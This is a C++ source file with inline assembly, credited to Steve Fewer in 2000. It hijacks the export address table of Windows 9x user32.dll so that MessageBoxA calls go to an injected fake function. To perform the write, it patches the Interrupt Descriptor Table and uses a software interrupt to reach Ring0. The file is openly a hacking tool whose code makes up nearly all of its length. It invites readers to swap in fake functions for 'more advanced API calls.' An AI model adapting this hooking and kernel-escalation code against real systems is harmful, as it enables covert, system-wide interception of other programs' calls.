// ---[ eathack.cpp ]-------------------------[ http://www.harmonysecurity.com ]--// // // This code hacks the export address table (EAT) of the library user32.dll to // redirect any calls for MessageBoxA to our own fake function which will then // alter the tittle bar caption before continuing to display the original message // box. I know this is a fairly mundane example but the principles are the same to // hijack any other more advanced API calls because it is only the fake function // you will need to change. Due to the windows system architecture this code will // only work on Win9x boxes (i only tested it on Win98). // // To hijack any API call we must change the address in the export address table // of the relevant library to point to our hijack function (FakeFunc) which must // be placed in shared memory so as any process may access it. We first find the // address inside the EAT that holds the Virtual address of the exported function. // I wrote the function FuckShitUp to do this. Once we have this address we plant // our own fake function into shared memory, technically above 0x80000000. We need // to allocate the enough memory to fit FakeFunc and set it to be ReadWrighteXecute // we then copy our FakeFunc into that newly allocated memory area. the MSDN library // says we shouldn't be able to VirtualAlloc any memory above 0x80000000 but we // actually can, hmmmmm! Once our FakeFunc is in place we need to point the correct // export address to it, this is fairly easy as we know at what address we need to // overwright the old one (we use the address returned by FuckShitUp). If we simply // try to wright to tis address we will cause an access violation as the page is // not wrightable and we cannot use VirtualProtect to make it so. It is posible // to use an undocumented call in kernel32.dll to do this but i have chosen for // the sake of variaty to jump our code into Ring0 and perform the wright. // // To jump to Ring0 we must first alter the Structured Exception Handeling (SEH) // frame so as not to cause an exception. We then modify the Interrupt Discriptor // Table (IDT) to point the software interrupt 4 to a new address which holds our // code so when 'int 4' is executed the processor will drop to Ring0 and execute // our code before jumping up to Ring3 where we fix the IDT and the SEH frame. // Once this is done the hook/hijack is in place until you restart your machine // or restore the correct export address in the EAT. // // This code was written and compiled using Borland C++ Builder v3. I have tested // it on Win98 and debugged it with SoftIce. This is not for the faint hearted, // you will need to know the Win9x architecture, PE file, x86 assembly, C and how // to break thing people dont want you to be able to. Well thats about it, all // constructive criticism, comments and ideas welcome - steve 18/07/00 // // ---[ Author: Steve Fewer ]---------------------[ info@harmonysecurity.com ]--// #define WIN32_LEAN_AND_MEAN #include #include #include //----------------------------------------------------------------------------// #define TARGET_LIB "USER32.DLL" // Target Library Which Holds The TARGET_API #define TARGET_API "MessageBoxA" // Target Function We Wish To Hijack As Exported By TARGET_LIB DWORD ORIGIONAL_ADDR = 0xBFF5412E; // Origional Address Of TARGET_API As Given By GetProcAddress, Patched at run time #define IMPOSTAR_ADDR 0x9C666000 // The New Address For Our Imposter TARGET_API, Must Be In Shared Memory //----------------------------------------------------------------------------// LPDWORD FuckShitUp( char * TargetLib, char * TargetApi ); BOOL PlantFakeFunc( DWORD FakeFuncBase ); //----------------------------------------------------------------------------// int main() { DWORD exception; DWORD oldoffset; DWORD origsehptr, nextsehptr, seherrhandler; DWORD AddressToHack, ValueToWrite; HINSTANCE hi; printf( "EAT Hack and API Hook :: coded by Steve Fewer :: TSI\n\nCaution :: May Make System Unstable! Press A Key To Continue...\n\n" ); getch(); // Load our target dll into our process space... hi = LoadLibrary( TARGET_LIB ); if( hi == NULL ) { printf("Failed To Load Target Library\n"); goto die; } // Find the address in memory which contains the VA of the function we wish to hijack... printf( "[0]Prepearing To Hook Function %s... ", TARGET_API); ORIGIONAL_ADDR = (DWORD)GetProcAddress( hi, TARGET_API); if( ORIGIONAL_ADDR == NULL ) { printf("Failed. Unable To Find Address Of Function %s\n", TARGET_API); goto die; } AddressToHack = (DWORD)FuckShitUp( TARGET_LIB, TARGET_API); if( AddressToHack == NULL ) { printf("Failed. Unable To Find Address To Hack\n"); goto die; } ValueToWrite = (IMPOSTAR_ADDR - (DWORD)hi);//(0xBFF5412E - 0xBFF50000);// // Inject our Hook/Hijack/Fake Function into shared memory... printf( "success\n[1]Injecting Fake Function Into Shared Memory... " ); if( PlantFakeFunc( IMPOSTAR_ADDR ) == FALSE ) { printf("Failed To Plant Our Fake Function\n"); goto die; } asm { jmp start IDTADDR: db 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 } start: printf( "success\n[2]Hacking Origional SEH pointer... " ); asm { mov eax, dword ptr fs:[0x00] // get old seh pointer mov dword ptr [nextsehptr], eax // set in structure mov dword ptr [origsehptr], eax // save it lea eax, [return_to_host] // change it to our code mov dword ptr [seherrhandler], eax // ... lea eax, [nextsehptr] // ... mov dword ptr fs:[0x00], eax // replace the structure } printf( "success\n[3]Hacking Interupt Discriptor Table... " ); asm { sidt fword ptr [IDTADDR] // get interrupt discriptor table addr mov esi, dword ptr [IDTADDR+0x02] // first 2 bytes are the length add esi, 4*8 // get the offset for our int 4 mov dword ptr [exception], esi // save exception place mov bx, word ptr [esi+6] // get the low word shl ebx, 0x10 // shift it left mov bx, word ptr [esi] // and get the high word mov dword ptr [oldoffset], ebx // save exception offset lea eax, [Ring0] // eax is our new software interupt func mov word ptr [esi], ax // store the high word shr eax, 0x10 // shift it right mov word ptr [esi+6], ax // and store the low word } // this means that when we do int 4 we will go to our code (at ring0) ;) printf( "success\n[4]Going Into Ring0... " ); asm { mov eax, AddressToHack // eax = the address which holds the va of the exported func mov ebx, ValueToWrite // ebx = the address we wish to change it to so it points to our FakeFunc int 4 // generate the interupt so we drop to Ring0 } printf( "success\n[5]Restoring Origional IDT And SEH Pointer... " ); asm { mov esi, dword ptr [exception] // restore the IDT address mov ebx, dword ptr [oldoffset] // restore exception offset mov word ptr [esi], bx // restore the exception shr ebx, 0x10 // shift it left mov word ptr [esi+6], bx // put it back return_to_host: mov eax, dword ptr [origsehptr] // eax = the old SEH pointer mov dword ptr fs:[0x00], eax // restore it } die: printf( "success\n\nFinished, Press A Key To Exit...\n" ); getch(); ExitProcess(0); return 0; asm { Ring0: // THIS CODE EXECUTES AT RING0 // EAX = Address To Write To // EBX = Value To Write mov dword ptr[eax], ebx // change the export address iretd // return to Ring3 } } //----------------------------------------------------------------------------// LPDWORD FuckShitUp( char * TargetLib, char * TargetApi ) { DWORD baseAddress; LPDWORD fred = 0x00000000, tom; LPWORD bob; IMAGE_EXPORT_DIRECTORY *ied; /* get the base address of our target library as it appears in virtual memory */ baseAddress = (DWORD)GetModuleHandle( TargetLib ); if( baseAddress == NULL ) { printf("FuckShitUp: GetModuleHandle failed\n"); goto quit; } // simply go through the PE header and get addr of Export Address Table... asm { mov eax, baseAddress // move imagebase into eax cmp word ptr[eax], 'ZM' // check if we have a exe image jne quit // exit if we dont add eax, 0x3C // eax = pointer to pe header offset mov ebx, [eax] // get the pointer add ebx, baseAddress // add to image base to align it cmp word ptr[ebx], 'EP' // check if we have a pe image jne quit // exit if we dont add ebx, 0x78 // eax = pointer to virtual address of export dir address mov ecx, [ebx] // ecx = virtual address of export dir address add ecx, baseAddress // add imagebase to ecx to align mov ied, ecx }; // i wrote this to scan through the export table and find th VA of our targt func // and then return its addr in mem for( DWORD i=0 ; iNumberOfFunctions ; i++ ) { tom = (DWORD *)( (DWORD)ied->AddressOfNames + baseAddress + (0x04*i) ); if( strcmp( (char*)(*tom + baseAddress), TargetApi ) == 0 ) { bob = (WORD*)((DWORD)ied->AddressOfNameOrdinals + baseAddress + (i*0x02) ); fred = (DWORD*)((DWORD)ied->AddressOfFunctions + baseAddress + (0x04 * *bob) ); break; } } quit: return fred; } //----------------------------------------------------------------------------// __declspec ( naked ) void FakeFunc( void ) { /* This is our fake function code, the example given below will alter */ /* the tittle of a message box which has been called with MessageBoxA */ __asm { push ebp // procedure prelude: save old base ptr mov ebp, esp // and create new stack frame push 0x00 // place a null byte onto stack mov eax, IMPOSTAR_ADDR // eax = address of this function add eax, 0x22 // eax = address of the new tittle string db 0xFF, 0x75, 0x14 // push dword ptr[ebp-0x14] push eax // push address of new title string db 0xFF, 0x75, 0x0C // push dword ptr[ebp-0x0c] db 0xFF, 0x75, 0x08 // push dword ptr[ebp-0x08] mov eax, 0xBFF52E1C // eax = address of function MessageBoxExA, MAKE SURE THIS IS CORRECT FOR TARGET MACHINE call eax // call that function pop ebp // get old stack base ret 0x0010 // return to caller db "Steves Kung Foo Is Great!!!", 0x00 }; } __declspec ( naked ) void FakeFuncEnd( void ){} //----------------------------------------------------------------------------// BOOL PlantFakeFunc( DWORD FakeFuncBase ) { DWORD FakeFuncSize; /* Calculate the size of our fake function */ FakeFuncSize = ((DWORD)&FakeFuncEnd - (DWORD)&FakeFunc); /* Allocate the required memory for it in shared memory so all processes can access it */ FakeFuncBase = (DWORD)VirtualAlloc( (LPVOID)FakeFuncBase, FakeFuncSize, MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE); if( FakeFuncBase == NULL ) { return FALSE; } /* Copy the fake function into newly allocated shared memory */ memcpy( (void*)FakeFuncBase, (void*)&FakeFunc, FakeFuncSize); return TRUE; } //----------------------------------------------------------------------------//